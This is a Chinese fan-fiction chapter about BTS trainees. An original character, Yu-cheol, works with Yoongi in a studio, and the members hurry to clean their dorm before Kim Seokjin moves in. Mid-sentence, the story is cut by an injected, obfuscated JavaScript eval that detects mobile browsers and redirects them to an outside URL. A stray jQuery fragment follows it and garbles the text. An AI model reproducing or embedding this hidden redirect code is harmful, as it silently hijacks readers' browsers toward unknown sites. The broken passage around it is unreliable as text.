Big Hit的地下室深处，有一间隔音效果极佳的小工作室。这里空气常年带着电子设备的微凉和咖啡因的苦涩，是闵玧其的绝对领域，也是最近田宇澈汲取音乐养分的秘密基地。
柔和的LED灯带散发着冷调的白光，照亮了堆满设备的工作台。闵玧其窝在他那张被磨得发亮的电竞椅里，戴着巨大的监听耳机，瘦削的手指在MIDI键盘上快速敲击，屏幕上的音轨随着他的动作延伸出复杂而富有律动的线条，带着他标志性的冷硬电子感和暗涌的情绪。他眉头微蹙，全神贯注，仿佛与外界隔绝。
宇澈则坐在旁边一张略显简陋的折叠椅上，面前摊开着笔记本和一本厚厚的和声学教材。他耳朵上也挂着耳机，连接的却是另一台电脑，屏幕上显示着音频编辑软件的界面，里面是他最近尝试编写的一段旋律片段。他时而凝神听着耳机里流淌的、融合了俄罗斯手风琴音色采样和中国五声音阶变奏的demo，时而在笔记本上飞快地记录着什么，或是在键盘上尝试着修改某个和弦。
空气里只有鼠标点击声、键盘敲击声和耳机里泄露出的微弱旋律交织成的低语。两人之间几乎没有言语交流，只有偶尔宇澈会暂停自己的片段，指着屏幕上玧其刚完成的一段鼓点循环，低声问：“哥，这里的hi-hat pattern，如果后半拍加一点延迟和失真，会不会更有空间撕裂感？”
玧其会暂停自己的操作，切过去听一下，手指在触控板上滑动几下，调出效果器，快速尝试，然后言简意赅：“嗯。试试。” 或者干脆利落：“太碎。不要。”
宇澈便心领神会，立刻在自己的机器上操作起来。
这是一种建立在专业素养和无声默契上的交流。玧其欣赏宇澈对声音的敏感度和敢于尝试不同元素的胆量，更欣赏他那种不盲从、能提出建设性意见的冷静头脑。而宇澈则像一块海绵，贪婪地吸收着玧其深厚的制作经验、对节奏律动的精准把控，以及那种近乎偏执的、对音乐细节的打磨精神。他尤其着迷于玧其能将看似矛盾的元素，冰冷的电子音效与炽热的情感内核完美融合的能力。
工作室的门被轻轻敲响，节奏带着点小心翼翼的急促。沉浸在各自世界里的两人同时抬起头。
门被推开一条缝，田柾国的脑袋探了进来。他脸上带着一种混合了八卦、兴奋和一丝难以置信的表情，眼睛睁得溜圆，像发现了什么惊天秘密的小动物。他先看了看气场依旧冷硬的玧其，然后目光落在宇澈身上，压低了声音，用气音喊：“澈儿！出来一下！急事！”
宇澈和玧其对视一眼。玧其挑了挑眉，没什么表示，只是重新戴上了耳机，手指在键盘上敲下一个键，继续他的音轨。宇澈会意，摘下耳机，对玧其点点头：“哥，我出去一下。”
闵玧其几不可察地“嗯”了一声。
宇澈走出工作室，顺手带上门，隔绝了里面流淌的电子音浪。走廊的灯光比工作室亮堂许多，显得有些刺眼。柾国立刻抓住他的胳膊，把他往旁边更僻静的楼梯间拽，边走边迫不及待地压低声音说：“大新闻！澈儿！天大的新闻！”
“怎么了？” 宇澈被他拽得有点踉跄，稳住身形，看着柾国激动得发红的脸。
柾国深吸一口气，仿佛要宣布什么重大事项：“公司…把演员部给解散了！”
宇澈微微一怔。Big Hit的演员部规模很小，听说只有寥寥数人，金硕珍前辈就是其中最耀眼的存在。解散的消息虽然意外，但联想到公司目前有限的资源和全力冲击偶像团体的策略，似乎也在情理之中。
“然后呢？” 宇澈问，直觉告诉他重点在后面。
“然后？！” 柾国的声音不自觉地拔高了一点，又赶紧捂住嘴，眼睛瞪得更大了，闪烁着复杂的光芒，“然后…硕珍前辈！金硕珍前辈！他被分到我们宿舍了！今天！就今天就会搬过来！”
这个消息像一颗投入平静湖面的石子，在宇澈心里激起了涟漪。金硕珍？那个在停车场惊鸿一瞥、气场强大如同王子的人？要成为他们的室友？和他们挤在这间弥漫着汗味和泡面气息的练习生宿舍？
宇澈的脑海中瞬间闪过宿舍里乱糟糟的场景：柾国乱丢的袜子、玧其哥堆在角落的咖啡杯、号锡哥永远晾不干的舞蹈服、南俊哥那堆满理论书的床铺，自己摊在桌上的乐谱和画笔…还有那张属于郑号锡对面、目前还空着的上铺。这…和金硕珍前辈那种仿佛自带圣光、连下车都能引起轰动的形象，实在是…反差过于强烈。
“方PD决定的？” 宇澈努力维持着声音的平稳。
“嗯！” 柾国用力点头，“说是…资源整合？让硕珍前辈也参与组合的策划什么的…具体不清楚。但是！” 他抓住宇澈的手臂摇晃，表情既期待又有点惶恐，“那可是硕珍前辈啊！我们以后…怎么办？会不会连呼吸都要小心翼翼？他会不会嫌弃我们这里太乱太吵？”
看着柾国那副“天要塌了”的表情，宇澈有点想笑，又觉得可以理解。金硕珍的存在感，确实太强了。他拍了拍柾国紧张的手臂：“别瞎想。前辈也是人。宿舍是大家的，该怎样就怎样。不过…” 他顿了顿，环顾了一下四周，“确实该回去收拾一下了。”
两人回到宿舍时，发现闵玧其不知何时也从工作室出来了，正靠在他自己的下铺床边，手里拿着手机，眉头微蹙地看着屏幕，显然也收到了消息。郑号锡也难得地提前结束了练习，正满头大汗地冲进浴室，嘴里喊着：“等我十分钟！马上就好！不能给前辈留下坏印象！”
而金南俊正半蹲在书桌前，把散落的书籍和写满歌词的便签纸整理进纸箱。这位队长的额前碎发被汗水黏在皮肤上，鼻尖还沾着一点灰尘，却依旧专注地将《小王子》和《百年孤独》按作者首字母顺序排列。听见动静，他抬起头，镜片后的眼睛里闪烁着思索的光芒：“我刚和方PD聊过，硕珍前辈的加入或许能给我们宿舍注入新的艺术视角。”他说着，指了指墙上贴着的专辑概念图，“比如这些视觉设计，他的演员经验也许能提供更戏剧化的呈现方式。”
宿舍里弥漫着一股临
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795882|175005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时抱佛脚的紧张气氛。柾国立刻冲向他那堆乱糟糟的衣服和游戏手柄。宇澈则走到那张空着的上铺前，上面落了一层薄灰，还有之前号锡随手放的几本旧杂志。他挽起袖子，开始利落地清理床铺，擦拭床架。
闵玧其放下手机，没什么表情地走过来，拿起扫把，沉默地开始清扫地板角落的灰尘和头发。他动作不快，却扫得很仔细。
“玧其哥，你也紧张吗？” 柾国一边叠衣服一边忍不住问。
玧其头也没抬，声音平淡：“不紧张。麻烦。” 但手上扫地的动作没停。
金南俊将最后一本诗集塞进纸箱，站起身时膝盖发出轻微的声响。他揉着膝盖走到窗边，把凌乱搭着的训练服重新挂好：“其实大家不用太拘谨。”他推了推眼镜，目光扫过略显慌乱的成员们，“硕珍前辈性格很亲和，之前一起拍摄广告时，还主动教我怎么在镜头前调整表情。”
宇澈擦干净床架，正想着要不要找套干净的床单被套出来，宿舍的门锁传来了轻微的转动声。
所有人的动作瞬间定格。
门被推开。
首先映入眼帘的，是一个与练习生宿舍格格不入的、尺寸惊人的深灰色定制行李箱，质感高级，轮子无声地滑过地面。接着，是行李箱后那个挺拔优雅的身影。
金硕珍依旧穿着剪裁得体的深色大衣，里面是柔软的米白色高领毛衣。他脸上带着温和得体的微笑，那笑容如同精心调试过的灯光，恰到好处地照亮了略显昏暗杂乱的宿舍。他的目光在小小的空间里扫过，掠过堆满杂物的桌子、晾在窗边的训练服、略显拥挤的床铺，最后落在四个或站或坐、表情各异的少年身上。
他的视线在宇澈沾了点灰尘的手指、正在扫地的闵玧其、抱着衣服一脸紧张的柾国，以及戴着眼镜若有所思的金南俊身上停留了一瞬，又看了看从浴室探出湿漉漉脑袋、笑容瞬间僵在脸上的郑号锡。
金硕珍脸上的笑容没有丝毫变化，反而加深了几分，带着一种包容一切的暖意和恰到好处的亲和力。他优雅地侧身，将那个巨大的行李箱完全推进来，声音如同大提琴般悦耳温和，打破了宿舍里凝滞的空气：
“打扰了，以后要跟各位挤在一起了。我是金硕珍，请多关照。” 他的目光扫过众人，最终落在金南俊身上，微微颔首，“南俊啊，听说你最近在研究符号学？晚上有空聊聊？”
队长推了推眼镜，嘴角不自觉扬起：“当然，前辈。正好想请教你对舞台叙事的理解。”
金硕珍的态度自然得仿佛只是搬进一间高级公寓，而非这个狭小、拥挤、弥漫着青春汗水和梦想焦灼气息的练习生宿舍。那种从容不迫的气场，瞬间将宿舍里那点兵荒马乱的紧张感冲淡了不少。
宇澈放下手里的抹布，对上金硕珍那双含着温和笑意、却深不见底的眼睛，微微躬身：“是，前辈。欢迎您。我是田宇澈。”
宿舍的门在金硕珍身后轻轻关上。一个截然不同的世界，带着优雅的香气和强大的存在感，正式融入了这个宿舍。